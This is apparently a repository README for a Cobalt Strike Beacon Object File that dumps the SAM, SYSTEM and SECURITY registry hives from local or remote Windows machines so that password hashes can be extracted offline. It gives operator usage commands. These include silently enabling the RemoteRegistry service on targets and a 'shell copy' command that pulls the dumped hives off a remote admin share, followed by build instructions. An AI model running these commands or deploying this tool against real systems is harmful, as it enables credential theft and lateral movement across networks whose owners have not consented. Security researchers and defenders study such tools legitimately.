/BOF-RemoteRegSave

Cobalt Strike Beacon Object File (BOF) that uses RegConnectRegistryA + RegOpenKeyExA API to dump registry hives on remote computer

Primary LanguageC

BOF - RemoteRegSave

A fork of RegSave BOF. Dump SAM/SYSTEM/SECURITY registry key hives on local or remote computer using RegConnectRegistryA and RegOpenKeyExA for offline parsing and hash extraction.

Usage

Dump registry key hives on local computer (admin elevation required)

RegSave --path [file path <optional>]

Dump registry key hives on remote computer (automatically enable service RemoteRegistry if disabled)

RegSave --pc remotePC --path [file path <optional>]
shell copy \\remoteSrv\C$\Windows\temp\HG029* .

Compile

cd SOURCE
make

References